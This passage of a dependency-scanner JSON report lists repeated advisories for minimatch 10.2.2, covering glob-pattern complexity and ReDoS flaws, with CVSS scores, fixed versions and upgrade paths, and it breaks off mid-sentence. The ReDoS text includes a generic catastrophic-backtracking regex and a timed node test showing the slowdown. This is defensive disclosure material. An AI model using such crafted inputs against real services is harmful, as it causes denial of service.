"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters 